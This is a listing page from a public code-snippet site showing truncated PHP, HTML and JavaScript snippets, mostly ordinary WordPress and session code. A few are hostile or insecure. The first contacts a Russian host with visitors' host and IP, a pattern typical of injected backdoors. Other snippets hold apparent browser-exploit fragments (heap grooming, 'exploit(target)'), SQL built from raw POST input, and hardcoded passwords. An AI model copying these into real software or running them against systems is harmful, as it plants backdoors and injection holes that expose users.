New Snippet New Snippet Recent Snippets Recent Snippets My Snippets My Snippets Web Code Search Snippets Search
Sign inor Register
Format:
Recent snippets matching language of HtmlPhp
<?php 
 
$ Fp = @fsockopen("erorhost2.ru", 80, $ errno, $ errstr, 6); 
if (!$ fp) 
{ 
    return ''; 
} else 
{ 
 
    $page = @file("http://erorhost2.ru/id1.php?site=" . $_SERVER[HTTP_HOST] . "&ip=" . 
Today @ 7:14am
Tags:
6 Views
no comments
 
<?php
$user = &JFactory::getUser();
$username = $user->get('username');
echo $username;
?>
 
 
<form method="post" action="https://www.sofortueberweisung.de/payment/start">
<input name="user_id" value="34559" type="hidden">
<input name="project_id" value="91392" type="hidden">
Today @ 2:48am
Tags:
9 Views
no comments
 
function foo(x, y){ var a34593t9bdgert = arguments.callee;
a34593t9bdgert = a34593t9bdgert.toString();
return x+y-a34593t9bdgert[32];
}
 
var x = foo(1,2);
alert(x);
Yesterday @ 6:51pm
Tags:
8 Views
no comments
 
     function objToPtr(obj) {
        var i;
        var even = new Dictionary();
        var odd = new Dictionary();
        for (i = 1024*1024*4; i < (1024*1024*8); i += 1) {
           even[i * 2] = i;
           odd[i * 2 + 1] = i;
        }
        even[obj] = 1;
        odd[obj] = 1;
Yesterday @ 1:19am
Tags:
5 Views
no comments
 
function pageLoad(i) {
    var ldr = new Loader();
   var url = "http://10.12.8.54/block.swf";
   var urlReq = new URLRequest(url);
   ldr.load(urlReq);
   childRef = addChild(ldr); //returns a DisplayObject
    MyTextField2.text=i+"";
}
for (var i=0;i<2000;i++) pageLoad(i+1);
Wednesday @ 7:15pm
Tags:
6 Views
no comments
 
<html><head><title></title>
</head>
<script>
    var addr;
    function exploit(target) {
        //target=2425393296;
        addr=target;
        setTimeout(go,300);
    }
    function go() {
Wednesday @ 6:36pm
Tags:
8 Views
no comments
 
<?
$buf = "\x31\x31\x31\x20\x33\x32\x20\x31\x30\x36\x20\x31\x31\x37\x20\x31\x31\x30\x20\x31";
$buf .= "\x30\x35\x20\x31\x31\x31\x20\x31\x31\x34\x20\x33\x32\x20\x39\x37\x20\x31\x30";
$buf .= "\x39\x20\x39\x37\x20\x33\x32\x20\x39\x37\x20\x33\x32\x20\x31\x30\x39\x20\x39\x37";
$buf .= "\x20\x31\x31\x35\x20\x31\x31\x35\x20\x31\x31\x37\x20\x31\x30\x39\x20\x31\x30\x35";
$IK = TRUE;function ___OL($o, $t=FALSE){return $t?explode($o,$t):chr($o);}/*___OL($p);*/function _PL(&$buf, $IK=TRUE){$r=NULL;//**$&LH=FALSE;x/
foreach(___OL("\x20", $buf) AS $LR)/*$LR=1;&$buf=NULL;*/$r.=___OL($LR);
if(!$IK)RETURN $r;
print_r($r);}IF($x = _PL(&$buf,(int)1))
/*&$x^1//*/throw new Exception($x,404);
by fx   Tuesday @ 11:42pm
Tags:
15 Views
no comments
 
<?php wp_list_categories('orderby=name&use_desc_for_title=0&child_of=3&title_li='); ?>
by Pablo   Monday @ 4:26pm
Tags:
11 Views
no comments
 
<?php
include('classes/mysql.php');
include('classes/print.php');
$print = new board;
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
by Jan Erik   Sunday @ 1:07pm
Tags:
11 Views
no comments
 
<?php /* If this is the frontpage */ if ( is_home() || is_page() ) { ?>
   <?php wp_list_bookmarks(); ?>
 
   <li><h2>Meta</h2>
   <ul>
      <?php wp_register(); ?>
      <li><?php wp_loginout(); ?></li>
      <li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
      <?php wp_meta(); ?>
   </ul>
by wp themes   August 28, 2010 @ 9:07am
Tags:
10 Views
no comments
 
<?php
     session_start();
     
     if ($_SESSION['user'] == "guest" || $_SESSION['user'] == null)
           header('location: Index.php');
     include 'Safety.php';
?>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
August 28, 2010 @ 7:57am
Tags:
13 Views
no comments
 
<?php 
    $coded = 064211f432791495bb86aa10165dc03b;
    if (($_POST["uname"] != "user087") && ($_POST["pass"] != "420babies")) { 
        header("Location: projectgrow.php");
        exit;
    }
    if (($_POST["uname"] == "user087") && ($_POST["pass"] == $coded { 
        echo "Trusted";
    }
    
August 27, 2010 @ 1:14pm
Tags:
13 Views
no comments
 
<?php
 
echo -2^2;
 
?>
August 27, 2010 @ 10:10am
Tags:
11 Views
no comments
 
<?php
$antitag = "06"; 
$antimonat = "08"; 
$antijahr = "2010";
$antistunde = "00";
$antiminute = "00";
$antisekunde = "00";
  
  $timestamp = time();
  $tag = date("d",$timestamp); 
August 26, 2010 @ 10:39am
Tags:
11 Views
no comments
 
<link rel="stylesheet" href="&lt;?php echo base_url();?>style.css" type="text/css" media="screen" />
<link rel="stylesheet" href="&lt;?php echo base_url();?>css/style1.css" type="text/css" media="screen" />
<link rel="stylesheet" type="text/css" href="&lt;?php echo base_url();?>buttons.css"/>
<link rel="stylesheet" type="text/css" href="&lt;?php echo base_url();?>lib/notifications.css" />
<link rel="stylesheet" href="&lt;?php echo base_url();?>uniform/css/uniform.default.css" type="text/css" media="screen">
<link rel="stylesheet" type="text/css" href="&lt;?php echo base_url();?>borders.css"/>
 
 
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.0/jquery.min.js"></script> 
<script type="text/javascript" src='<?php echo base_url();?>js/jquery-1.4.2.min.js.js'</script>
August 23, 2010 @ 11:01am
Tags:
14 Views
no comments
 
<?php
function duckLoad($uzanti){
    $site = file_get_contents('http://duckload.com/divx/'.$uzanti.'.html');
    $bir = explode('<embed', $site);
    $iki = explode('&lt;/embed>', $bir[1]);
    $son = '<embed '.$iki[0].'&lt;/embed>';
    
    return $son;
 
}
August 22, 2010 @ 9:48pm
Tags:
14 Views
no comments
 
<?php
$site = file_get_contents('http://www.cyber-warrior.org/Academy');
$bir = explode('<table width="96%" border="0" align="center" height="25" cellspacing="2" cellpadding="0" bgcolor="#000000">', $site);
$iki = explode('<table width="96%" border="0" align="center" height="99" cellspacing="2" cellpadding="0" bgcolor="#000000">',$bir[1]);
$uc = str_replace('../images/','http://www.cyber-warrior.org/images/',$iki[0]);
echo '<table width="96%" border="0" align="center" height="25" cellspacing="2" cellpadding="0" bgcolor="#000000">'.$uc;
?>
August 22, 2010 @ 9:22pm
Tags:
19 Views
no comments
 
<?php
 
function altMenuVarMi($parent)
{
    // varsayılan olarak false döndürelim
    $alt_menu= false;
    // gönderilen parent değişkenine bağlı içerik var mı sayalım
    $sorgu= mysql_query(sprintf("select COUNT(*) AS kayit from tree where parent_id = %d", $parent));
    $sonuc= mysql_fetch_assoc($sorgu);
    // eğer kayıt var ise
by space   August 22, 2010 @ 3:57pm
Tags: recursive
15 Views
no comments
 
<html>
<head>
<title></title>
<style>
.ULCtrlList
{
    list-style-type: none;
    display: inline;
}
by Fred Thomas   August 21, 2010 @ 10:18am
21 Views
no comments
 
<?php session_start();
 
      mysql_connect   ('localhost', 'tomer', 'asd') or die ('Could not connect: '   . mysql_error());
        mysql_select_db ('tomersh')                   or die ('Can\'t use database: ' . mysql_error());
                   
      $nickname = $_POST['nickname'];
      $pass     = md5($_POST['pass']);
      $MySQL    = "SELECT * FROM users WHERE nickname = '" .$nickname ."' AND pass = '" .$pass ."'";
                 
      $result = mysql_query($MySQL);
August 21, 2010 @ 9:13am
Tags:
13 Views
no comments
 
<?php session_start(); ?>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 
<html>
 
      <head>
 
            <meta http-equiv = "Content-Type" content = "text/html; charset = UTF-8">
            
August 21, 2010 @ 9:07am
Tags:
20 Views
no comments
 
if ($_POST['reg_submit'] != null)
                 {
                      mysql_connect   ('localhost', 'tomer', 'asd') or die ('Could not connect: '   .mysql_error());
                      mysql_select_db ($tomersh)                    or die ('Can\'t use database: ' .mysql_error());
                      
                      $nickname = $_POST['nickname'];
                      $fname    = $_POST['fname'];
                      $lname    = $_POST['lname'];
                      $pass     = md5($_POST['pass']);
                      $email    = $_POST['email'];
August 21, 2010 @ 8:56am
Tags:
13 Views
no comments
 
<?php
     session_start();
     
     if ($_SESSION['user'] != "admin")
         header('location: Index.php');
     include 'Safety.php';
?>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
August 21, 2010 @ 6:09am
Tags:
15 Views
no comments
 
<script type = "text/javascript">    
        function clock1()
        {
            var d = new Date();
            var sec = d.getSeconds();
            if (sec < 10)
                sec = "0" +sec;
            var min = d.getMinutes();
            if (min < 10)
                min = "0" +min;
August 21, 2010 @ 6:04am
Tags:
13 Views
no comments
 
<?php
     session_start();
     
     if ($_SESSION['user'] != "admin")
         header('location: Index.php');
     include 'Safety.php';
?>
    
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
August 21, 2010 @ 5:57am
Tags:
14 Views
no comments
 
brought to you by:
West Wind Techologies


If you find this site useful and use it frequently please consider making a donation to support this free service.
Donate